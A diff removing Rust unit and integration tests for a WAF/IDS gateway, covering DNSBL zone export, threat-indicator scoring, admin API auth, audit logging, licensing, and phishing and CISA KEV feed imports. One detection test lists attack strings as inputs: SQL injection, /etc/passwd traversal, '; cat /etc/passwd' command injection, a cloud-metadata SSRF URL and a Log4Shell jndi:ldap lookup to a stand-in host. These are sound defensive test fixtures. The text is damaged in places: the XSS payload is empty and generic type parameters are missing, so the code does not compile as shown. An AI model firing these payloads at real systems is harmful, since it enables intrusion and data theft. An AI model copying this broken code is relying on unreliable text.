-    }
-
-    #[test]
-    fn exports_rfc5782_style_zone_records() {
-        let zone = export_dnsbl_zone(
-            "dnsbl.example",
-            &[
-                DnsblEntry {
-                    address: "192.0.2.10".parse().unwrap(),
-                    code: "127.0.0.2".to_string(),
-                    reason: "scanner".to_string(),
-                    source: "unit".to_string(),
-                    ttl_seconds: 300,
-                    prefix_len: None,
-                },
-                DnsblEntry {
-                    address: "2001:db8::10".parse().unwrap(),
-                    code: "127.0.0.2".to_string(),
-                    reason: "ipv6 skip".to_string(),
-                    source: "unit".to_string(),
-                    ttl_seconds: 300,
-                    prefix_len: None,
-                },
-            ],
-        );
-
-        assert!(zone.contains("$ORIGIN dnsbl.example."));
-        assert!(zone.contains("10.2.0.192 IN A 127.0.0.2"));
-        assert!(zone.contains("10.2.0.192 IN TXT \"scanner source=unit\""));
-        assert!(!zone.contains("ipv6 skip"));
-    }
-
-    #[test]
-    fn scores_threat_indicator_matches() {
-        // Uses a site-specific IoC that does NOT overlap a built-in signature,
-        // so this isolates the operator-configured indicator path.
-        let score = score_request(
-            "/callback",
-            Some("id=EVILCORP-C2-BEACON"),
-            "",
-            None,
-            &[ThreatIndicator {
-                value: "evilcorp-c2-beacon".to_string(),
-                indicator_type: "c2".to_string(),
-                severity: Severity::High,
-                source: "unit".to_string(),
-                ttl_seconds: 60,
-            }],
-            &[],
-        );
-
-        assert_eq!(score.score, 50);
-        assert!(score.reason.contains("c2 indicator"));
-    }
-
-    #[test]
-    fn builtin_waf_detects_common_attack_classes_without_configuration() {
-        // No operator-configured indicators and no DNSBL: every detection below
-        // must come from the built-in OWASP-shape signature layer alone.
-        let cases = [
-            ("/products", "id=1 UNION SELECT password FROM users", "sqli"),
-            (
-                "/search",
-                "q=",
-                "xss",
-            ),
-            ("/download", "file=../../../../etc/passwd", "path-traversal"),
-            (
-                "/ping",
-                "host=127.0.0.1; cat /etc/passwd",
-                "command-injection",
-            ),
-            (
-                "/fetch",
-                "url=http://169.254.169.254/latest/meta-data",
-                "ssrf",
-            ),
-            ("/lookup", "x=${jndi:ldap://evil/a}", "deserialization"),
-        ];
-        for (path, query, class) in cases {
-            let scored = score_request(path, Some(query), "", None, &[], &[]);
-            assert!(
-                scored.score >= BLOCK_SCORE,
-                "{class} payload should reach block score, got {} ({})",
-                scored.score,
-                scored.reason
-            );
-            assert!(
-                scored.reason.contains(class),
-                "reason should name the {class} class, got: {}",
-                scored.reason
-            );
-        }
-
-        // A benign request must not be flagged by the built-in layer.
-        let benign = score_request("/account/profile", Some("tab=settings"), "", None, &[], &[]);
-        assert_eq!(benign.score, 0, "benign request scored: {}", benign.reason);
-        assert_eq!(benign.reason, "no matching indicator");
-    }
-
-    #[test]
-    fn scores_dnsbl_client_matches() {
-        let score = score_request(
-            "/",
-            None,
-            "",
-            Some("203.0.113.10".parse().unwrap()),
-            &[],
-            &[DnsblEntry {
-                address: "203.0.113.10".parse().unwrap(),
-                code: "127.0.0.2".to_string(),
-                reason: "known scanner".to_string(),
-                source: "unit".to_string(),
-                ttl_seconds: 300,
-                prefix_len: None,
-            }],
-        );
-
-        assert_eq!(score.score, 100);
-        assert!(score.reason.contains("DNSBL match"));
-    }
-
-    #[test]
-    fn ip_in_network_masks_by_prefix() {
-        let net: IpAddr = "203.0.113.0".parse().unwrap();
-        assert!(ip_in_network(net, 24, "203.0.113.200".parse().unwrap()));
-        assert!(ip_in_network(net, 24, "203.0.113.0".parse().unwrap()));
-        assert!(!ip_in_network(net, 24, "203.0.114.1".parse().unwrap()));
-        // /0 matches everything; a full /32 is an exact match.
-        assert!(ip_in_network(net, 0, "8.8.8.8".parse().unwrap()));
-        assert!(!ip_in_network(net, 32, "203.0.113.1".parse().unwrap()));
-        // Mixed address families never match.
-        assert!(!ip_in_network(net, 24, "2001:db8::1".parse().unwrap()));
-        // IPv6 prefix masking.
-        let net6: IpAddr = "2001:db8::".parse().unwrap();
-        assert!(ip_in_network(
-            net6,
-            32,
-            "2001:db8:dead:beef::1".parse().unwrap()
-        ));
-        assert!(!ip_in_network(net6, 32, "2001:db9::1".parse().unwrap()));
-        // IPv6 /0 matches everything.
-        assert!(ip_in_network(net6, 0, "fe80::1".parse().unwrap()));
-    }
-
-    #[test]
-    fn scores_dnsbl_cidr_subnet_matches() {
-        // A /24 DNSBL entry blocks any client IP inside the subnet.
-        let entry = DnsblEntry {
-            address: "198.51.100.0".parse().unwrap(),
-            code: "127.0.0.2".to_string(),
-            reason: "botnet subnet".to_string(),
-            source: "unit".to_string(),
-            ttl_seconds: 300,
-            prefix_len: Some(24),
-        };
-        let inside = score_request(
-            "/",
-            None,
-            "",
-            Some("198.51.100.77".parse().unwrap()),
-            &[],
-            std::slice::from_ref(&entry),
-        );
-        assert_eq!(inside.score, 100);
-        assert!(inside.reason.contains("DNSBL match"));
-
-        let outside = score_request(
-            "/",
-            None,
-            "",
-            Some("198.51.101.77".parse().unwrap()),
-            &[],
-            std::slice::from_ref(&entry),
-        );
-        assert_eq!(outside.score, 0);
-    }
-
-    #[test]
-    fn validate_dnsbl_checks_prefix_len() {
-        let base = DnsblEntry {
-            address: "10.0.0.0".parse().unwrap(),
-            code: "127.0.0.2".to_string(),
-            reason: "range".to_string(),
-            source: "unit".to_string(),
-            ttl_seconds: 60,
-            prefix_len: Some(24),
-        };
-        assert!(validate_dnsbl(&base).is_ok());
-        let too_wide = DnsblEntry {
-            prefix_len: Some(40),
-            ..base.clone()
-        };
-        assert_eq!(
-            validate_dnsbl(&too_wide),
-            Err("DNSBL prefix_len exceeds the address family width")
-        );
-        // IPv6 permits prefixes up to /128.
-        let v6 = DnsblEntry {
-            address: "2001:db8::".parse().unwrap(),
-            prefix_len: Some(64),
-            ..base.clone()
-        };
-        assert!(validate_dnsbl(&v6).is_ok());
-    }
-
-    #[test]
-    fn builds_upstream_target_from_route_prefix() {
-        assert_eq!(
-            upstream_target(&route(), "/api/v1/items", Some("limit=1")).unwrap(),
-            "https://origin.example/v1/items?limit=1"
-        );
-        assert_eq!(
-            upstream_target(&route(), "/api", None).unwrap(),
-            "https://origin.example/"
-        );
-        assert_eq!(
-            upstream_target(&route(), "relative", None).unwrap(),
-            "https://origin.example/relative"
-        );
-        assert_eq!(
-            upstream_target(
-                &RouteConfig {
-                    upstream: "mock://origin".to_string(),
-                    ..route()
-                },
-                "/api",
-                None,
-            )
-            .unwrap_err(),
-            "upstream must use http:// or https:// for proxy mode"
-        );
-    }
-
-    #[test]
-    fn selects_longest_enabled_route_prefix() {
-        let routes = vec![
-            route(),
-            RouteConfig {
-                id: "admin".to_string(),
-                path_prefix: "/api/admin".to_string(),
-                upstream: "mock://admin".to_string(),
-                mode: EnforcementMode::Monitor,
-                enabled: true,
-                block_threshold: None,
-            },
-        ];
-
-        assert_eq!(
-            select_route(&routes, "/api/admin/users").unwrap().id,
-            "admin"
-        );
-    }
-
-    #[tokio::test]
-    async fn admin_api_gateway_and_dnsbl_surfaces_work_together() {
-        let path = temp_state_path("api");
-        let state = AppState::load(AppConfig {
-            admin_token: Some("secret".to_string()),
-            state_path: Some(path.clone()),
-            dnsbl_origin: "dnsbl.example.".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-        let app = build_app(state);
-
-        let response = app_request(&app, empty_request(Method::GET, "/admin")).await;
-        assert_eq!(response.status(), StatusCode::OK);
-        assert!(body_text(response).await.contains("WAF/IDS/AI SOC Gateway"));
-
-        let health: HealthStatus =
-            json_body(app_request(&app, empty_request(Method::GET, "/healthz")).await).await;
-        assert_eq!(health.persistence, "file");
-        assert_eq!(health.dnsbl_origin, "dnsbl.example");
-
-        let block_route = RouteConfig {
-            id: "secure".to_string(),
-            path_prefix: "/secure".to_string(),
-            upstream: "mock://secure".to_string(),
-            mode: EnforcementMode::Block,
-            enabled: true,
-            block_threshold: None,
-        };
-        let response = app_request(
-            &app,
-            json_request(Method::POST, "/api/routes", None, &block_route),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/routes",
-                Some("secret"),
-                &RouteConfig {
-                    path_prefix: "secure".to_string(),
-                    ..block_route.clone()
-                },
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
-
-        let saved_route: RouteConfig = json_body(
-            app_request(
-                &app,
-                json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(saved_route.id, "secure");
-
-        let updated_route: RouteConfig = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/routes",
-                    Some("secret"),
-                    &RouteConfig {
-                        upstream: "mock://secure-v2".to_string(),
-                        ..block_route.clone()
-                    },
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(updated_route.upstream, "mock://secure-v2");
-
-        let threat = ThreatIndicator {
-            value: "drop table".to_string(),
-            indicator_type: "sqli".to_string(),
-            severity: Severity::Critical,
-            source: "unit".to_string(),
-            ttl_seconds: 60,
-        };
-        let response = app_request(
-            &app,
-            json_request(Method::POST, "/api/threats", None, &threat),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threats",
-                Some("secret"),
-                &ThreatIndicator {
-                    value: " ".to_string(),
-                    ..threat.clone()
-                },
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
-
-        let saved_threat: ThreatIndicator = json_body(
-            app_request(
-                &app,
-                json_request(Method::POST, "/api/threats", Some("secret"), &threat),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(saved_threat.value, "drop table");
-
-        let dnsbl = DnsblEntry {
-            address: "198.51.100.7".parse().unwrap(),
-            code: "127.0.0.9".to_string(),
-            reason: "botnet".to_string(),
-            source: "unit".to_string(),
-            ttl_seconds: 300,
-            prefix_len: None,
-        };
-        let response =
-            app_request(&app, json_request(Method::POST, "/api/dnsbl", None, &dnsbl)).await;
-        assert_eq!(response.status(), StatusCode::UNAUTHORIZED);
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/dnsbl",
-                Some("secret"),
-                &DnsblEntry {
-                    code: "not-ip".to_string(),
-                    ..dnsbl.clone()
-                },
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::BAD_REQUEST);
-
-        let saved_dnsbl: DnsblEntry = json_body(
-            app_request(
-                &app,
-                json_request(Method::POST, "/api/dnsbl", Some("secret"), &dnsbl),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(saved_dnsbl.code, "127.0.0.9");
-
-        let gateway_request = Request::builder()
-            .method(Method::POST)
-            .uri("/gateway/secure/login?q=DROP%20TABLE")
-            .header("x-forwarded-for", "198.51.100.7, 10.0.0.1")
-            .body(Body::from("payload"))
-            .unwrap();
-        let response = app_request(&app, gateway_request).await;
-        assert_eq!(response.status(), StatusCode::FORBIDDEN);
-        assert!(body_text(response).await.contains("\"action\":\"blocked\""));
-
-        let routes: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/routes")).await).await;
-        assert!(routes.iter().any(|route| route.id == "secure"));
-
-        let threats: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(threats.iter().any(|item| item.value == "drop table"));
-
-        let dnsbl_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(
-            dnsbl_entries
-                .iter()
-                .any(|entry| entry.address == "198.51.100.7".parse::().unwrap())
-        );
-
-        let events: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/events")).await).await;
-        assert_eq!(events.last().unwrap().action, "blocked");
-        assert_eq!(
-            events.last().unwrap().client_ip,
-            Some("198.51.100.7".parse().unwrap())
-        );
-        let events_export =
-            body_text(app_request(&app, empty_request(Method::GET, "/api/events.ndjson")).await)
-                .await;
-        assert!(events_export.contains(r#""action":"blocked""#));
-        assert!(events_export.ends_with('\n'));
-
-        let kpis: SocKpiSnapshot =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/kpis")).await).await;
-        assert_eq!(kpis.blocked_event_count, 1);
-        assert_eq!(kpis.threat_feed_count, 0);
-        assert_eq!(kpis.fresh_threat_feed_count, 0);
-        assert_eq!(kpis.stale_threat_feed_count, 0);
-
-        let zone =
-            body_text(app_request(&app, empty_request(Method::GET, "/dnsbl/zone")).await).await;
-        assert!(zone.contains("$ORIGIN dnsbl.example."));
-        assert!(zone.contains("7.100.51.198 IN A 127.0.0.9"));
-
-        let _ = fs::remove_file(path).await;
-    }
-
-    #[tokio::test]
-    async fn audit_logs_record_successful_admin_writes_without_tokens() {
-        let path = temp_state_path("audit");
-        let state = AppState::load(AppConfig {
-            admin_token: Some("secret".to_string()),
-            state_path: Some(path.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-        let app = build_app(state);
-        let route = RouteConfig {
-            id: "audit-route".to_string(),
-            path_prefix: "/audit".to_string(),
-            upstream: "mock://audit".to_string(),
-            mode: EnforcementMode::Monitor,
-            enabled: true,
-            block_threshold: None,
-        };
-
-        let unauthorized = app_request(
-            &app,
-            json_request(Method::POST, "/api/routes", None, &route),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let response = app
-            .clone()
-            .oneshot(
-                Request::builder()
-                    .method(Method::POST)
-                    .uri("/api/routes")
-                    .header("content-type", "application/json")
-                    .header("x-admin-token", "secret")
-                    .header("x-admin-actor", "operator@example.com")
-                    .body(Body::from(serde_json::to_vec(&route).unwrap()))
-                    .unwrap(),
-            )
-            .await
-            .unwrap();
-        assert_eq!(response.status(), StatusCode::CREATED);
-
-        let logs: Vec = json_body(
-            app_request(
-                &app,
-                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(logs.len(), 1);
-        assert_eq!(logs[0].actor, "operator@example.com");
-        assert_eq!(logs[0].action, "upsert_route");
-        assert_eq!(logs[0].resource, "route");
-        assert_eq!(logs[0].resource_id, "audit-route");
-        assert_eq!(logs[0].outcome, "success");
-        assert!(!serde_json::to_string(&logs).unwrap().contains("secret"));
-
-        let persisted: AppData =
-            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
-        assert_eq!(persisted.audit_logs.len(), 1);
-        let persisted_json = serde_json::to_string(&persisted.audit_logs).unwrap();
-        assert!(!persisted_json.contains("secret"));
-        let _ = fs::remove_file(path).await;
-    }
-
-    #[tokio::test]
-    async fn commercial_license_feed_readiness_and_bundle_surfaces_work() {
-        let path = temp_state_path("commercial");
-        let state = AppState::load(AppConfig {
-            admin_token: Some("secret".to_string()),
-            state_path: Some(path.clone()),
-            dnsbl_origin: "dnsbl.example".to_string(),
-            event_limit: 10,
-        })
-        .await
-        .unwrap();
-        let app = build_app(state);
-
-        let initial_readiness: CommercialReadiness = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/readiness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(!initial_readiness.ready_for_enterprise_sale);
-        assert_eq!(initial_readiness.readiness_level, "implementation_required");
-        assert!(
-            initial_readiness
-                .blockers
-                .iter()
-                .any(|item| item == "license")
-        );
-
-        let initial_license: CommercialProfile = json_body(
-            app_request(&app, empty_request(Method::GET, "/api/commercial/license")).await,
-        )
-        .await;
-        assert_eq!(initial_license.license_status, LicenseStatus::Unlicensed);
-
-        let profile = enterprise_profile();
-        let unauthorized = app_request(
-            &app,
-            json_request(Method::POST, "/api/commercial/license", None, &profile),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let bad_profile = CommercialProfile {
-            features: Vec::new(),
-            ..profile.clone()
-        };
-        let invalid = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/commercial/license",
-                Some("secret"),
-                &bad_profile,
-            ),
-        )
-        .await;
-        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
-
-        let saved_profile: CommercialProfile = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/commercial/license",
-                    Some("secret"),
-                    &profile,
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(saved_profile.annual_contract_value_krw, Some(2_000_000_000));
-
-        let feed = threat_feed_import();
-        let unauthorized_feed = app_request(
-            &app,
-            json_request(Method::POST, "/api/threat-feeds/import", None, &feed),
-        )
-        .await;
-        assert_eq!(unauthorized_feed.status(), StatusCode::UNAUTHORIZED);
-
-        let empty_feed = ThreatFeedImport {
-            threats: Vec::new(),
-            dnsbl: Vec::new(),
-            ..feed.clone()
-        };
-        let invalid_feed = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import",
-                Some("secret"),
-                &empty_feed,
-            ),
-        )
-        .await;
-        assert_eq!(invalid_feed.status(), StatusCode::BAD_REQUEST);
-
-        let import_result: ThreatFeedImportResult = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/threat-feeds/import",
-                    Some("secret"),
-                    &feed,
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(import_result.feed_id, "misp-seoul");
-        assert_eq!(import_result.upserted_threats, 1);
-        assert_eq!(import_result.upserted_dnsbl, 1);
-
-        let gateway_response = app_request(
-            &app,
-            empty_request(Method::GET, "/gateway/demo?q=union%20select"),
-        )
-        .await;
-        assert_eq!(gateway_response.status(), StatusCode::OK);
-
-        let feeds: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threat-feeds")).await)
-                .await;
-        assert_eq!(feeds.len(), 1);
-        assert_eq!(feeds[0].feed_id, "misp-seoul");
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(freshness.len(), 1);
-        assert_eq!(freshness[0].feed_id, "misp-seoul");
-        assert!(!freshness[0].stale);
-
-        let final_readiness: CommercialReadiness = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/readiness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(final_readiness.ready_for_enterprise_sale);
-        assert_eq!(final_readiness.readiness_level, "sale_ready");
-        assert!(final_readiness.blockers.is_empty());
-        assert!(
-            final_readiness
-                .deployment_assets
-                .iter()
-                .any(|path| path == "Dockerfile")
-        );
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(manifest.ready_for_enterprise_sale);
-        assert_eq!(manifest.target_sale_value_krw, TARGET_SALE_VALUE_KRW);
-        assert_eq!(manifest.runtime_counts.threat_feed_count, 1);
-        assert_eq!(manifest.runtime_counts.fresh_threat_feed_count, 1);
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/events.ndjson"
-                    && endpoint.content_type == "application/x-ndjson"
-                    && endpoint.required_for_sale)
-        );
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/audit-logs" && endpoint.required_for_sale)
-        );
-        assert!(
-            manifest
-                .document_paths
-                .iter()
-                .any(|path| path == "docs/figma/enterprise-product-architecture.md")
-        );
-
-        let support: SupportBundle =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/support-bundle")).await)
-                .await;
-        assert!(support.generated_at_unix > 0);
-        assert!(support.readiness.ready_for_enterprise_sale);
-        assert!(support.evidence_manifest.ready_for_enterprise_sale);
-        assert!(
-            support
-                .evidence_manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/commercial/evidence-manifest")
-        );
-        assert_eq!(
-            support.commercial.license_id,
-            Some("LIC-2B-KRW-0001".to_string())
-        );
-        assert_eq!(support.threat_feed_count, 1);
-        assert_eq!(support.kpis.fresh_threat_feed_count, 1);
-        assert_eq!(support.kpis.stale_threat_feed_count, 0);
-        assert!(support.audit_log_count >= 2);
-        assert_eq!(support.threat_feed_freshness.len(), 1);
-        assert!(!support.threat_feed_freshness[0].stale);
-        assert!(support.event_count >= 1);
-
-        let persisted: AppData =
-            serde_json::from_str(&fs::read_to_string(&path).await.unwrap()).unwrap();
-        assert_eq!(persisted.commercial.license_status, LicenseStatus::Active);
-        assert_eq!(persisted.threat_feeds.len(), 1);
-        let _ = fs::remove_file(path).await;
-    }
-
-    #[tokio::test]
-    async fn phishing_database_import_endpoint_supports_blocking_flow() {
-        let feed_mock = Router::new()
-            .route(
-                "/domains",
-                get(|| async {
-                    (
-                        StatusCode::OK,
-                        "evil.example\nhttps://evil.example/path\nlogin.bad.example\n",
-                    )
-                }),
-            )
-            .route(
-                "/ips",
-                get(|| async { (StatusCode::OK, "198.51.100.200\n203.0.113.77\nbad-ip\n") }),
-            );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, feed_mock).into_future());
-
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let payload = phishing_database_import_request(&format!("http://{addr}"));
-
-        let unauthorized = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import/phishing-database",
-                None,
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let invalid_request = PhishingDatabaseImportRequest {
-            ttl_seconds: 0,
-            domain_url: "file:///tmp/not-allowed".to_string(),
-            ..payload.clone()
-        };
-        let invalid = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import/phishing-database",
-                Some("secret"),
-                &invalid_request,
-            ),
-        )
-        .await;
-        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
-
-        let import_result: ThreatFeedImportResult = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/threat-feeds/import/phishing-database",
-                    Some("secret"),
-                    &payload,
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(import_result.feed_id, "phishing-db-seoul");
-        assert_eq!(import_result.upserted_threats, 2);
-        assert_eq!(import_result.upserted_dnsbl, 2);
-        let audit_logs: Vec = json_body(
-            app_request(
-                &app,
-                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            audit_logs
-                .iter()
-                .any(|item| item.action == "import_phishing_database_feed")
-        );
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        assert!(threat_entries.iter().any(
-            |entry| entry.value == "evil.example" && entry.indicator_type == "phishing_domain"
-        ));
-        assert!(
-            threat_entries
-                .iter()
-                .any(|entry| entry.value == "login.bad.example"
-                    && entry.source == "phishing-db-seoul")
-        );
-
-        let dnsbl_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/dnsbl")).await).await;
-        assert!(
-            dnsbl_entries
-                .iter()
-                .any(|entry| entry.address == "198.51.100.200".parse::().unwrap())
-        );
-        assert!(
-            dnsbl_entries
-                .iter()
-                .any(|entry| entry.address == "203.0.113.77".parse::().unwrap())
-        );
-
-        let block_route = RouteConfig {
-            id: "phish".to_string(),
-            path_prefix: "/phish".to_string(),
-            upstream: "mock://phish".to_string(),
-            mode: EnforcementMode::Block,
-            enabled: true,
-            block_threshold: Some(50),
-        };
-        let route_response = app_request(
-            &app,
-            json_request(Method::POST, "/api/routes", Some("secret"), &block_route),
-        )
-        .await;
-        assert_eq!(route_response.status(), StatusCode::CREATED);
-
-        let blocked = app_request(
-            &app,
-            empty_request(
-                Method::GET,
-                "/gateway/phish?q=https%3A%2F%2Fevil.example%2Flogin",
-            ),
-        )
-        .await;
-        assert_eq!(blocked.status(), StatusCode::FORBIDDEN);
-    }
-
-    #[tokio::test]
-    async fn phishing_database_import_rejects_redirected_feed_fetches() {
-        let target_feed = Router::new()
-            .route(
-                "/domains",
-                get(|| async { (StatusCode::OK, "evil.example\n") }),
-            )
-            .route(
-                "/ips",
-                get(|| async { (StatusCode::OK, "198.51.100.200\n") }),
-            );
-        let target_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let target_addr = target_listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(target_listener, target_feed).into_future());
-
-        let redirect_domains = format!("http://{target_addr}/domains");
-        let redirect_ips = format!("http://{target_addr}/ips");
-        let redirect_feed = Router::new()
-            .route(
-                "/domains",
-                get(move || {
-                    let location = redirect_domains.clone();
-                    async move { (StatusCode::FOUND, [("location", location)]) }
-                }),
-            )
-            .route(
-                "/ips",
-                get(move || {
-                    let location = redirect_ips.clone();
-                    async move { (StatusCode::FOUND, [("location", location)]) }
-                }),
-            );
-        let redirect_listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let redirect_addr = redirect_listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(redirect_listener, redirect_feed).into_future());
-
-        let app = build_app(AppState::seeded(Some("secret".to_string())));
-        let payload = phishing_database_import_request(&format!("http://{redirect_addr}"));
-
-        let response = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-feeds/import/phishing-database",
-                Some("secret"),
-                &payload,
-            ),
-        )
-        .await;
-        assert_eq!(response.status(), StatusCode::BAD_GATEWAY);
-    }
-
-    #[tokio::test]
-    async fn kev_feed_import_endpoint_maps_catalog_to_cve_indicators() {
-        let catalog = serde_json::json!({
-            "title": "CISA Catalog of Known Exploited Vulnerabilities",
-            "catalogVersion": "2026.08.27",
-            "dateReleased": "2026-08-27T17:00:36.6632Z",
-            "count": 2,
-            "vulnerabilities": [
-                {
-                    "cveID": "CVE-2023-49105",
-                    "vendorProject": "ownCloud",
-                    "product": "ownCloud",
-                    "vulnerabilityName": "ownCloud Improper Authentication Vulnerability",
-                    "dateAdded": "2026-08-27",
-                    "shortDescription": "desc",
-                    "requiredAction": "action",
-                    "dueDate": "2026-08-30",
-                    "knownRansomwareCampaignUse": "Unknown",
-                    "notes": "",
-                    "cwes": ["CWE-287"]
-                },
-                {
-                    "cveID": "CVE-2021-44228",
-                    "vendorProject": "Apache",
-                    "product": "Log4j2",
-                    "vulnerabilityName": "Apache Log4j2 RCE",
-                    "dateAdded": "2021-12-10",
-                    "shortDescription": "desc",
-                    "requiredAction": "action",
-                    "dueDate": "2021-12-24",
-                    "knownRansomwareCampaignUse": "Known",
-                    "notes": "",
-                    "cwes": ["CWE-917"]
-                }
-            ]
-        });
-        let feed_mock = Router::new().route(
-            "/kev.json",
-            get(move || {
-                let body = catalog.to_string();
-                async move { (StatusCode::OK, body) }
-            }),
-        );
-        let listener = tokio::net::TcpListener::bind("127.0.0.1:0").await.unwrap();
-        let addr = listener.local_addr().unwrap();
-        tokio::spawn(axum::serve(listener, feed_mock).into_future());
-
-        let app = build_app(
-            AppState::seeded(Some("secret".to_string()))
-                .with_kev_catalog_url(format!("http://{addr}/kev.json")),
-        );
-        let payload = kev_import_request();
-
-        let unauthorized = app_request(
-            &app,
-            json_request(Method::POST, "/api/threat-intel/cisa-kev", None, &payload),
-        )
-        .await;
-        assert_eq!(unauthorized.status(), StatusCode::UNAUTHORIZED);
-
-        let invalid_request = KevImportRequest {
-            ttl_seconds: 0,
-            ..payload.clone()
-        };
-        let invalid = app_request(
-            &app,
-            json_request(
-                Method::POST,
-                "/api/threat-intel/cisa-kev",
-                Some("secret"),
-                &invalid_request,
-            ),
-        )
-        .await;
-        assert_eq!(invalid.status(), StatusCode::BAD_REQUEST);
-
-        let import_result: ThreatFeedImportResult = json_body(
-            app_request(
-                &app,
-                json_request(
-                    Method::POST,
-                    "/api/threat-intel/cisa-kev",
-                    Some("secret"),
-                    &payload,
-                ),
-            )
-            .await,
-        )
-        .await;
-        assert_eq!(import_result.feed_id, "cisa-kev-seoul");
-        assert_eq!(import_result.upserted_threats, 2);
-        assert_eq!(import_result.upserted_dnsbl, 0);
-
-        let audit_logs: Vec = json_body(
-            app_request(
-                &app,
-                authed_empty_request(Method::GET, "/api/audit-logs", "secret"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            audit_logs
-                .iter()
-                .any(|item| item.action == "import_kev_feed")
-        );
-
-        let threat_entries: Vec =
-            json_body(app_request(&app, empty_request(Method::GET, "/api/threats")).await).await;
-        let owncloud = threat_entries
-            .iter()
-            .find(|entry| entry.value == "CVE-2023-49105")
-            .expect("ownCloud CVE upserted");
-        assert_eq!(owncloud.indicator_type, "cve");
-        assert_eq!(owncloud.severity, Severity::High);
-        assert_eq!(owncloud.source, "feed:cisa-kev");
-        let log4j = threat_entries
-            .iter()
-            .find(|entry| entry.value == "CVE-2021-44228")
-            .expect("Log4j CVE upserted");
-        assert_eq!(
-            log4j.severity,
-            Severity::Critical,
-            "ransomware-linked CVE escalates to critical"
-        );
-
-        let freshness: Vec = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/threat-feeds/freshness"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            freshness
-                .iter()
-                .any(|feed| feed.feed_id == "cisa-kev-seoul" && !feed.stale)
-        );
-
-        let manifest: BuyerEvidenceManifest = json_body(
-            app_request(
-                &app,
-                empty_request(Method::GET, "/api/commercial/evidence-manifest"),
-            )
-            .await,
-        )
-        .await;
-        assert!(
-            manifest
-                .required_endpoints
-                .iter()
-                .any(|endpoint| endpoint.path == "/api/threat-intel/cisa-kev")
-        );
-    }
-
-    #[tokio::test]
-    async fn kev_feed_import_requires_configured_write_credential() {
